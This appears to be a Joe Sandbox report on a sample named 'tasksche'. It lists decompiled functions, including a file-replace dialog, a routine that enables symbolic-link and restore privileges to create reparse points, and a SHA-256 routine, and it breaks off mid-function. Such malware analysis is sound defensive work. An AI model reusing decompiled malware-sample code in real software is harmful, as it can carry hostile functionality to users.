Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction ID: 2a7281b05ebb75ae791a00df68b116ffeccc810d55834c007acaed3bb23dd98c
Opcode Fuzzy Hash: 35c8f440b0c787f752f8f5ff34d68e699b4f54a7e8ae052c3817328c3539a25c
Instruction Fuzzy Hash: 50A012302940064F8A100B30CC0D82577506760702F0096307002C10A4CB304430A505

Uniqueness

Uniqueness Score: -1.00%

Function 0041E75F Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0041E75F() {
				void* _t1;

				_t1 = E0041E6ED(0); // executed
				return _t1;
			}

0x0041e761
0x0041e767

APIs

__encode_pointer.LIBCMT ref: 0041E761

Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E6FF
Part of subcall function 0041E6ED: TlsGetValue.KERNEL32(00000005,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E716
Part of subcall function 0041E6ED: RtlEncodePointer.NTDLL(00000000,?,0041E766,00000000,00425725,0044F9F8,00000000,00000314,?,0042190C,0044F9F8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041E754

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 4883469bbd1ea34a64006740ed19a0f762d603c0c8182deb4ccf55bf016c8140
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040DE5E Relevance: 52.8, APIs: 27, Strings: 3, Instructions: 291
windowCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040DE5E(void* __ecx, void* __edx, void* __eflags) {
				void* _t71;
				void* _t86;
				int _t87;
				void* _t102;
				signed int _t130;
				void* _t139;
				void* _t150;
				struct HICON__* _t151;
				void* _t155;
				void* _t156;
				void* _t157;
				void* _t158;
				void* _t159;
				void* _t163;
				signed int _t167;
				void* _t169;
				struct HWND__* _t173;
				int _t179;
				void* _t181;
				void* _t183;
				void* _t185;

				_t169 = __edx;
				_t181 = _t183 - 0x68;
				E0041AAF0(0x1a50);
				_t173 =  *(_t181 + 0x70);
				if(E004060EE(__edx, _t173,  *(_t181 + 0x74),  *(_t181 + 0x78),  *((intOrPtr*)(_t181 + 0x7c)), L"REPLACEFILEDLG", 0, 0) == 0) {
					_t71 =  *(_t181 + 0x74) - 0x110;
					if(_t71 == 0) {
						SetFocus(GetDlgItem(_t173, 0x6c));
						E00410B9C(_t181 - 0x19e8,  *((intOrPtr*)(_t181 + 0x7c)), 0x800);
						E0040A2B0(_t181 - 0x19e8, _t181 - 0x19e8, 0x800);
						SetDlgItemTextW(_t173, 0x65, _t181 - 0x19e8);
						SHGetFileInfoW(_t181 - 0x19e8, 0, _t181 - 0x9e8, 0x2b4, 0x100);
						SendDlgItemMessageW( *(_t181 + 0x70), 0x66, 0x170,  *(_t181 - 0x9e8), 0);
						_t86 = FindFirstFileW(_t181 - 0x19e8, _t181 - 0x334);
						 *(_t181 + 0x74) = _t86;
						if(_t86 != 0xffffffff) {
							FileTimeToLocalFileTime(_t181 - 0x320, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							_t102 = E0040C3BF(0x99);
							_t163 = 0x200;
							E0040BC16(_t181 - 0x734, 0x200, L"%s %s %s", _t102);
							_t185 = _t183 + 0x18;
							SetDlgItemTextW( *(_t181 + 0x70), 0x6a, _t181 - 0x734);
							FindClose( *(_t181 + 0x74));
							if(( *(_t181 - 0x334) & 0x00000010) == 0) {
								_t139 = E0041ABD0( *((intOrPtr*)(_t181 - 0x318)), 0, 0, 1);
								asm("adc edx, ebx");
								E0040D155(_t139 +  *((intOrPtr*)(_t181 - 0x314)), _t169, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								_t163 = 0x200;
								E0040BC16(_t181 - 0x734, 0x200, L"%s %s", _t181 - 0xe4);
								_t185 = _t185 + 0x14;
								SetDlgItemTextW( *(_t181 + 0x70), 0x68, _t181 - 0x734);
							}
							SendDlgItemMessageW( *(_t181 + 0x70), 0x67, 0x170,  *(_t181 - 0x9e8), 0);
							E00411346( *0x441824, _t181 + 0x48);
							FileTimeToLocalFileTime(_t181 + 0x48, _t181 + 0x60);
							FileTimeToSystemTime(_t181 + 0x60, _t181 + 0x50);
							GetTimeFormatW(0x400, 2, _t181 + 0x50, 0, _t181 - 0x80, 0x32);
							GetDateFormatW(0x400, 0, _t181 + 0x50, 0, _t181 - 0x1c, 0x32);
							_push(_t181 - 0x80);
							_push(_t181 - 0x1c);
							E0040BC16(_t181 - 0x734, _t163, L"%s %s %s", E0040C3BF(0x99));
							SetDlgItemTextW( *(_t181 + 0x70), 0x6b, _t181 - 0x734);
							_t130 =  *0x44182c;
							_t167 =  *0x441828;
							if(( *(_t181 - 0x334) & 0x00000010) == 0 || (_t167 | _t130) != 0) {
								E0040D155(_t167, _t130, _t181 - 0xe4, 0x32);
								_push(E0040C3BF(0x98));
								E0040BC16(_t181 - 0x734, _t163, L"%s %s", _t181 - 0xe4);
								SetDlgItemTextW( *(_t181 + 0x70), 0x69, _t181 - 0x734);
							}
						}
						L26:
						_t87 = 0;
						L27:
						goto L28;
					}
					if(_t71 != 1) {
						goto L26;
					}
					_t179 = 2;
					_t150 = ( *(_t181 + 0x78) & 0x0000ffff) - _t179;
					if(_t150 == 0) {
						L11:
						_push(6);
						L12:
						_pop(_t179);
						L13:
						_t151 = SendDlgItemMessageW(_t173, 0x66, 0x171, 0, 0);
						if(_t151 != 0) {
							DestroyIcon(_t151);
						}
						EndDialog(_t173, _t179);
						_t87 = 1;
						goto L27;
					}
					_t155 = _t150 - 0x6a;
					if(_t155 == 0) {
						_t179 = 0;
						goto L13;
					}
					_t156 = _t155 - 1;
					if(_t156 == 0) {
						_t179 = 1;
						goto L13;
					}
					_t157 = _t156 - 1;
					if(_t157 == 0) {
						_push(4);
						goto L12;
					}
					_t158 = _t157 - 1;
					if(_t158 == 0) {
						goto L13;
					}
					_t159 = _t158 - 1;
					if(_t159 == 0) {
						_push(3);
						goto L12;
					}
					if(_t159 != 1) {
						goto L26;
					}
					goto L11;
				} else {
					_t87 = 1;
					L28:
					return _t87;
				}
			}

0x0040de5e
0x0040de5f
0x0040de68
0x0040de6f
0x0040de8c
0x0040de99
0x0040de9f
0x0040df14
0x0040df2a
0x0040df38
0x0040df4d
0x0040df68
0x0040df7f
0x0040df93
0x0040df99
0x0040df9f
0x0040dfb0
0x0040dfbe
0x0040dfd7
0x0040dfea
0x0040dff3
0x0040dff7
0x0040dffd
0x0040e008
0x0040e015
0x0040e01a
0x0040e029
0x0040e02e
0x0040e03b
0x0040e052
0x0040e061
0x0040e065
0x0040e074
0x0040e081
0x0040e08e
0x0040e093
0x0040e0a2
0x0040e0a2
0x0040e0b6
0x0040e0c6
0x0040e0d3
0x0040e0e1
0x0040e0f6
0x0040e10b
0x0040e114
0x0040e118
0x0040e131
0x0040e145
0x0040e14e
0x0040e153
0x0040e159
0x0040e16c
0x0040e17b
0x0040e190
0x0040e1a4
0x0040e1a4
0x0040e159
0x0040e1a6
0x0040e1a6
0x0040e1a8
0x00000000
0x0040e1a8
0x0040dea2
0x00000000
0x00000000
0x0040deae
0x0040deaf
0x0040deb1
0x0040decb
0x0040decb
0x0040decd
0x0040decd
0x0040dece
0x0040ded8
0x0040dee0
0x0040dee3
0x0040dee3
0x0040deeb
0x0040def3
0x00000000
0x0040def3
0x0040deb3
0x0040deb6
0x0040df06
0x00000000
0x0040df06
0x0040deb8
0x0040deb9
0x0040df03
0x00000000
0x0040df03
0x0040debb
0x0040debc
0x0040defd
0x00000000
0x0040defd
0x0040debe
0x0040debf
0x00000000
0x00000000
0x0040dec1
0x0040dec2
0x0040def9
0x00000000
0x0040def9
0x0040dec5
0x00000000
0x00000000
0x00000000
0x0040de8e
0x0040de90
0x0040e1ab
0x0040e1af
0x0040e1af

APIs

SendDlgItemMessageW.USER32 ref: 0040DED8
DestroyIcon.USER32(00000000), ref: 0040DEE3
EndDialog.USER32(?,00000006), ref: 0040DEEB

Strings

REPLACEFILEDLG, xrefs: 0040DE76
%s %s, xrefs: 0040E07C, 0040E183
%s %s %s, xrefs: 0040E003, 0040E124

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DestroyDialogIconItemMessageSend
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 3309745630-1840816070
Opcode ID: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction ID: 1ca02d43f13477766b0e0b2ecc80fe6690186a1d560daa565d76ee57e1f32e2a
Opcode Fuzzy Hash: 16eeae55bdc9405558cec747ebfcc07caac1c70e605718ffa483f40035c658e6
Instruction Fuzzy Hash: 56A18272A4021CABEB21DFE0CC85FEF776DEB04704F440476BA05E60D1D6789E5A8B65

Uniqueness

Uniqueness Score: -1.00%

Function 0040690A Relevance: 37.0, APIs: 17, Strings: 4, Instructions: 294
fileCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E0040690A() {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t112;
				intOrPtr _t113;
				long _t120;
				intOrPtr _t122;
				signed int _t123;
				int _t144;
				long _t163;
				signed int _t168;
				void* _t178;
				void* _t180;
				void* _t184;
				short _t185;
				void* _t191;
				intOrPtr _t193;
				long _t194;
				short _t196;
				signed int _t222;
				void* _t227;
				void* _t229;
				void* _t230;
				void* _t242;

				E0041A4DC(E00429638, _t227);
				E0041AAF0(0x303c);
				if( *0x4335a3 == 0) {
					E00406553(L"SeRestorePrivilege");
					E00406553(L"SeCreateSymbolicLinkPrivilege");
					 *0x4335a3 = 1;
				}
				_t198 = _t227 - 0x20;
				E00406760(_t227 - 0x20, 0x1418);
				_t222 =  *(_t227 + 0x10);
				 *(_t227 - 4) =  *(_t227 - 4) & 0x00000000;
				_t5 = _t222 + 0x10f4; // 0x10f4
				E00410B9C(_t227 - 0x1024, _t5, 0x800);
				 *(_t227 + 0x10) = E0041A7AF(_t227 - 0x1024);
				_t225 = _t227 - 0x1024;
				 *((intOrPtr*)(_t227 - 0x10)) = _t227 - 0x2024;
				_t112 = E0041C81C(_t227 - 0x1024, L"\\??\\", 4);
				_t230 = _t229 + 0x10;
				asm("sbb bl, bl");
				_t191 =  ~_t112 + 1;
				if(_t191 == 0) {
					L5:
					_t113 =  *((intOrPtr*)(_t227 - 0x10));
					goto L6;
				} else {
					_t225 = _t227 - 0x101c;
					_t184 = E0041C81C(_t227 - 0x101c, L"UNC\\", 4);
					_t230 = _t230 + 0xc;
					if(_t184 != 0) {
						goto L5;
					}
					_t185 = 0x5c;
					 *((short*)(_t227 - 0x2024)) = _t185;
					_t113 = _t227 - 0x2022;
					_t225 = _t227 - 0x1016;
					L6:
					E0041A7F7(_t113, _t225);
					 *((intOrPtr*)(_t227 - 0x10)) = E0041A7AF(_t227 - 0x2024);
					if( *((char*)( *((intOrPtr*)(_t227 + 8)) + 0x518b)) != 0) {
						L16:
						E0040935F(_t191, _t198, _t222,  *(_t227 + 0xc), 1);
						__eflags =  *((char*)(_t222 + 0x10e1));
						if( *((char*)(_t222 + 0x10e1)) != 0) {
							L21:
							__eflags = CreateDirectoryW( *(_t227 + 0xc), 0);
							if(__eflags == 0) {
								L10:
								_t242 =  *(_t227 - 0x20);
								L11:
								if(_t242 == 0) {
									L14:
									_t120 = 0;
									L15:
									 *[fs:0x0] =  *((intOrPtr*)(_t227 - 0xc));
									return _t120;
								}
								_push( *(_t227 - 0x20));
								L13:
								E0041A506(_t191, _t222, _t225, _t242);
								goto L14;
							}
							_t225 = 0;
							__eflags = 0;
							L23:
							_t122 =  *((intOrPtr*)(_t222 + 0x10f0));
							__eflags = _t122 - 3;
							if(_t122 != 3) {
								__eflags = _t122 - 2;
								if(_t122 == 2) {
									L27:
									_t225 =  *(_t227 - 0x20);
									_t123 =  *(_t227 + 0x10);
									 *((short*)(_t225 + 0xa)) = _t123 + _t123;
									 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t123 +  *((intOrPtr*)(_t227 - 0x10)) + _t123 + 0x10;
									 *_t225 = 0xa000000c;
									 *((short*)(_t225 + 6)) = 0;
									 *((short*)(_t225 + 8)) = 0;
									E0041A7F7(_t225 + 0x14, _t227 - 0x1024);
									 *((short*)(_t225 + 0xc)) =  *(_t227 + 0x10) +  *(_t227 + 0x10) + 2;
									 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
									E0041A7F7(_t225 + 0x16 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
									__eflags = _t191;
									_t74 = _t191 == 0;
									__eflags = _t74;
									 *(_t225 + 0x10) = 0 | _t74;
									L28:
									_t191 = CreateFileW( *(_t227 + 0xc), 0xc0000000, 0, 0, 3, 0x2200000, 0);
									__eflags = _t191 - 0xffffffff;
									if(__eflags != 0) {
										_t144 = DeviceIoControl(_t191, 0x900a4, _t225, ( *(_t225 + 4) & 0x0000ffff) + 8, 0, 0, _t227 - 0x24, 0);
										__eflags = _t144;
										if(_t144 != 0) {
											E00408786(_t227 - 0x3048);
											 *(_t227 - 4) = 1;
											E00408A32(_t227 - 0x3048);
											 *(_t227 - 0x3044) = _t191;
											_t193 =  *((intOrPtr*)(_t227 + 8));
											asm("sbb eax, eax");
											_t88 = _t222 + 0x1040; // 0x1040
											asm("sbb eax, eax");
											_t90 = _t222 + 0x1038; // 0x1038
											_t92 = _t222 + 0x1030; // 0x1030
											asm("sbb eax, eax");
											E00408D35(_t227 - 0x3048,  ~( *(_t193 + 0x628c)) & _t92,  ~( *(_t193 + 0x6290)) & _t90,  ~( *(_t193 + 0x6294)) & _t88);
											E00408A32(_t227 - 0x3048);
											__eflags =  *((char*)(_t193 + 0x519b));
											if( *((char*)(_t193 + 0x519b)) == 0) {
												E0040908D( *(_t227 + 0xc),  *((intOrPtr*)(_t222 + 0x1c)));
											}
											 *(_t227 - 4) = 0;
											E00408C7D(_t193, _t227 - 0x3048);
											_t194 = 1;
											L37:
											_push(_t225);
											E0041A506(_t194, _t222, _t225, __eflags);
											_t120 = _t194;
											goto L15;
										}
										CloseHandle(_t191);
										E0040639F(0x14, 0,  *(_t227 + 0xc));
										_t163 = GetLastError();
										__eflags = _t163 - 0x522;
										if(_t163 == 0x522) {
											_t163 = E00401B9B(0x16);
										}
										E00401000(_t163);
										E004062BA(0x4335ac, 9);
										__eflags =  *((char*)(_t222 + 0x10e1));
										_push( *(_t227 + 0xc));
										if( *((char*)(_t222 + 0x10e1)) == 0) {
											DeleteFileW();
										} else {
											RemoveDirectoryW();
										}
										_t194 = 0;
										__eflags = 0;
										goto L37;
									}
									_push(_t225);
									goto L13;
								}
								__eflags = _t122 - 1;
								if(_t122 != 1) {
									L19:
									__eflags =  *(_t227 - 0x20) - _t225;
									goto L11;
								}
								goto L27;
							}
							_t168 =  *(_t227 + 0x10);
							_t225 =  *(_t227 - 0x20);
							_t196 = _t168 + _t168;
							 *(_t225 + 4) =  *((intOrPtr*)(_t227 - 0x10)) + _t168 +  *((intOrPtr*)(_t227 - 0x10)) + _t168 + 0xc;
							 *_t225 = 0xa0000003;
							 *((short*)(_t225 + 6)) = 0;
							 *((short*)(_t225 + 8)) = 0;
							 *((short*)(_t225 + 0xa)) = _t196;
							E0041A7F7(_t225 + 0x10, _t227 - 0x1024);
							 *((short*)(_t225 + 0xe)) =  *((intOrPtr*)(_t227 - 0x10)) +  *((intOrPtr*)(_t227 - 0x10));
							 *((short*)(_t225 + 0xc)) = _t196 + 2;
							E0041A7F7(_t225 + 0x12 +  *(_t227 + 0x10) * 2, _t227 - 0x2024);
							goto L28;
						}
						__eflags =  *((char*)(_t222 + 0x20f4));
						if( *((char*)(_t222 + 0x20f4)) != 0) {
							goto L21;
						}
						_t225 = 0;
						_t178 = CreateFileW( *(_t227 + 0xc), 0x40000000, 0, 0, 1, 0x80, 0);
						__eflags = _t178 - 0xffffffff;
						if(_t178 != 0xffffffff) {
							CloseHandle(_t178);
							goto L23;
						}
						goto L19;
					}
					if(_t191 != 0) {
						goto L10;
					}
					_t21 = _t222 + 0x10f4; // 0x10f4
					_t225 = _t21;
					_t180 = E0040A2F5(_t21);
					_t240 = _t180;
					if(_t180 != 0) {
						goto L10;
					}
					_t22 = _t222 + 0x20; // 0x20
					if(E004065C4(_t191, _t240, _t22, _t225) != 0) {
						goto L16;
					}
					goto L10;
				}
			}

0x0040690f
0x00406919
0x00406925
0x0040692c
0x00406936
0x0040693b
0x0040693b
0x0040694a
0x0040694d
0x00406952
0x00406955
0x0040695e
0x0040696c
0x0040697d
0x00406988
0x0040698e
0x00406999
0x0040699e
0x004069a5
0x004069a7
0x004069a9
0x004069df
0x004069df
0x00000000
0x004069ab
0x004069ad
0x004069bb
0x004069c0
0x004069c5
0x00000000
0x00000000
0x004069c9
0x004069ca
0x004069d1
0x004069d7
0x004069e2
0x004069e4
0x004069f5
0x00406a05
0x00406a4b
0x00406a50
0x00406a55
0x00406a5c
0x00406a94
0x00406a9f
0x00406aa1
0x00406a29
0x00406a29
0x00406a2d
0x00406a2d
0x00406a38
0x00406a38
0x00406a3a
0x00406a40
0x00406a48
0x00406a48
0x00406a2f
0x00406a32
0x00406a32
0x00000000
0x00406a37
0x00406aa3
0x00406aa3
0x00406aa5
0x00406aa5
0x00406aab
0x00406aae
0x00406b13
0x00406b16
0x00406b21
0x00406b21
0x00406b24
0x00406b2e
0x00406b3d
0x00406b47
0x00406b4d
0x00406b51
0x00406b55
0x00406b62
0x00406b6b
0x00406b7e
0x00406b88
0x00406b8a
0x00406b8a
0x00406b8d
0x00406b90
0x00406baa
0x00406bac
0x00406baf
0x00406bcf
0x00406bd5
0x00406bd7
0x00406c45
0x00406c50
0x00406c54
0x00406c59
0x00406c5f
0x00406c6a
0x00406c6c
0x00406c7d
0x00406c7f
0x00406c90
0x00406c96
0x00406ca1
0x00406cac
0x00406cb1
0x00406cb8
0x00406cc0
0x00406cc0
0x00406ccb
0x00406ccf
0x00406cd4
0x00406c31
0x00406c31
0x00406c32
0x00406c38
0x00000000
0x00406c38
0x00406bda
0x00406be7
0x00406bec
0x00406bf2
0x00406bf7
0x00406bfb
0x00406bfb
0x00406c07
0x00406c10
0x00406c15
0x00406c1c
0x00406c1f
0x00406c29
0x00406c21
0x00406c21
0x00406c21
0x00406c2f
0x00406c2f
0x00000000
0x00406c2f
0x00406bb1
0x00000000
0x00406bb1
0x00406b18
0x00406b1b
0x00406a86
0x00406a86
0x00000000
0x00406a86
0x00000000
0x00406b1b
0x00406ab0
0x00406ab3
0x00406abb
0x00406ac9
0x00406ad3
0x00406ad9
0x00406add
0x00406ae1
0x00406ae5
0x00406aef
0x00406b05
0x00406b09
0x00000000
0x00406b0e
0x00406a5e
0x00406a65
0x00000000
0x00000000
0x00406a67
0x00406a7b
0x00406a81
0x00406a84
0x00406a8c
0x00000000
0x00406a8c
0x00000000
0x00406a84
0x00406a09
0x00000000
0x00000000
0x00406a0b
0x00406a0b
0x00406a12
0x00406a17
0x00406a19
0x00000000
0x00000000
0x00406a1c
0x00406a27
0x00000000
0x00000000
0x00000000
0x00406a27

APIs

__EH_prolog.LIBCMT ref: 0040690F
_wcslen.LIBCMT ref: 00406978
_wcscpy.LIBCMT ref: 004069E4
_wcslen.LIBCMT ref: 004069F0

Part of subcall function 00406553: GetCurrentProcess.KERNEL32(00000020,?), ref: 00406562
Part of subcall function 00406553: OpenProcessToken.ADVAPI32(00000000), ref: 00406569
Part of subcall function 00406553: LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 00406589
Part of subcall function 00406553: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000001,00000000,00000000,00000000), ref: 0040659E
Part of subcall function 00406553: GetLastError.KERNEL32 ref: 004065A8
Part of subcall function 00406553: CloseHandle.KERNEL32(?), ref: 004065B7

Part of subcall function 0040935F: _wcsncpy.LIBCMT ref: 004093C6

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000001,00000080,00000000,00000000,00000001), ref: 00406A7B
CloseHandle.KERNEL32(00000000), ref: 00406A8C
CreateDirectoryW.KERNEL32(00000000,00000000,00000000,00000001), ref: 00406A99
_wcscpy.LIBCMT ref: 00406AE5
_wcscpy.LIBCMT ref: 00406B09
_wcscpy.LIBCMT ref: 00406B55
_wcscpy.LIBCMT ref: 00406B7E
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00406BA4
DeviceIoControl.KERNEL32 ref: 00406BCF
CloseHandle.KERNEL32(00000000), ref: 00406BDA
GetLastError.KERNEL32 ref: 00406BEC
RemoveDirectoryW.KERNEL32(00000000), ref: 00406C21
DeleteFileW.KERNEL32(00000000), ref: 00406C29

Strings

\??\, xrefs: 00406993
SeCreateSymbolicLinkPrivilege, xrefs: 00406931
UNC\, xrefs: 004069B5
SeRestorePrivilege, xrefs: 00406927

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcscpy$CloseCreateFileHandle$DirectoryErrorLastProcessToken_wcslen$AdjustControlCurrentDeleteDeviceH_prologLookupOpenPrivilegePrivilegesRemoveValue_wcsncpy
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 295717069-3508440684
Opcode ID: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction ID: 0b044a0677013c3ee0dedeb9ad72db73be6c8eb7e300feb6a7d55a674be6f19f
Opcode Fuzzy Hash: 54416bbc68546247290bb90bcc992cafd3815891a8ba72df938a6b2bc5e4892e
Instruction Fuzzy Hash: 56B1B471A00215AFDF21EF64CC45BDA77B8EF04304F00446AF95AF7281D778AAA4CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004106F4 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 225
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E004106F4(signed int* __esi) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _v236;
				char _v240;
				intOrPtr _v244;
				intOrPtr _v248;
				intOrPtr _v252;
				intOrPtr _v256;
				intOrPtr _v260;
				intOrPtr _v264;
				intOrPtr _v268;
				intOrPtr _v272;
				intOrPtr _v276;
				intOrPtr _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				char _v296;
				unsigned int* _t154;
				void* _t167;
				signed int _t183;
				signed int _t199;
				signed int _t227;
				signed int _t229;
				void* _t234;
				signed int _t236;
				void* _t243;

				if(__esi != 0) {
					_v296 = E0041D291( *(__esi[0xa]));
					_v292 = E0041D291( *((intOrPtr*)(__esi[0xa] + 4)));
					_v288 = E0041D291( *((intOrPtr*)(__esi[0xa] + 8)));
					_v284 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0xc)));
					_v280 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x10)));
					_v276 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x14)));
					_v272 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x18)));
					_v268 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x1c)));
					_v264 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x20)));
					_v260 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x24)));
					_v256 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x28)));
					_v252 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x2c)));
					_t229 = 0x30;
					_v248 = E0041D291( *((intOrPtr*)(__esi[0xa] + _t229)));
					_v244 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x34)));
					_v240 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x38)));
					_v236 = E0041D291( *((intOrPtr*)(__esi[0xa] + 0x3c)));
					_t154 =  &_v240;
					_v8 = _t229;
					do {
						asm("rol edi, 0xe");
						asm("ror ebx, 0x7");
						asm("rol ecx, 0xf");
						asm("rol ebx, 0xd");
						_t234 = ( *(_t154 - 0x34) ^  *(_t154 - 0x34) ^  *(_t154 - 0x34) >> 0x00000003) + ( *_t154 ^  *_t154 ^  *_t154 >> 0x0000000a) +  *((intOrPtr*)(_t154 - 0x38));
						_t154 =  &(_t154[1]);
						_t40 =  &_v8;
						 *_t40 = _v8 - 1;
						_t154[1] = _t234 +  *((intOrPtr*)(_t154 - 0x18));
					} while ( *_t40 != 0);
					_t236 =  *__esi;
					_t227 = __esi[4];
					_v8 = _v8 & 0x00000000;
					_v36 = __esi[1];
					_v32 = __esi[2];
					_v28 = __esi[3];
					_v20 = __esi[5];
					_v16 = __esi[6];
					_v40 = _t236;
					_v12 = __esi[7];
					do {
						asm("ror eax, 0xb");
						asm("rol ecx, 0x7");
						asm("ror ecx, 0x6");
						_t62 = _v8 + 0x42ac30; // 0x428a2f98
						_v8 = _v8 + 4;
						_t167 = (_t227 ^ _t227 ^ _t227) + ( !_t227 & _v16 ^ _v20 & _t227) +  *_t62 +  *((intOrPtr*)(_t243 + _v8 - 0x124)) + _v12;
						_v12 = _v16;
						_v16 = _v20;
						_v20 = _t227;
						_t227 = _t167 + _v28;
						asm("ror ecx, 0xd");
						asm("rol ebx, 0xa");
						asm("ror ebx, 0x2");
						_t75 =  &_v36; // 0x405a40
						_t77 =  &_v36; // 0x405a40
						_t81 =  &_v36; // 0x405a40
						_t199 =  *_t81;
						_v28 = _v32;
						_v36 = _v40;
						_t236 = (_t236 ^ _t236 ^ _t236) + (( *_t75 ^ _t236) & _v32 ^  *_t77 & _v40) + _t167;
						_v32 = _t199;
						_v40 = _t236;
					} while (_v8 < 0x100);
					_t88 =  &_v36; // 0x405a40
					 *__esi =  *__esi + _t236;
					__esi[1] = __esi[1] +  *_t88;
					__esi[2] = __esi[2] + _t199;
					__esi[3] = __esi[3] + _v28;
					__esi[4] = __esi[4] + _t227;
					__esi[5] = __esi[5] + _v20;
					__esi[6] = __esi[6] + _v16;
					_t183 = __esi[7] + _v12;
					__esi[7] = _t183;
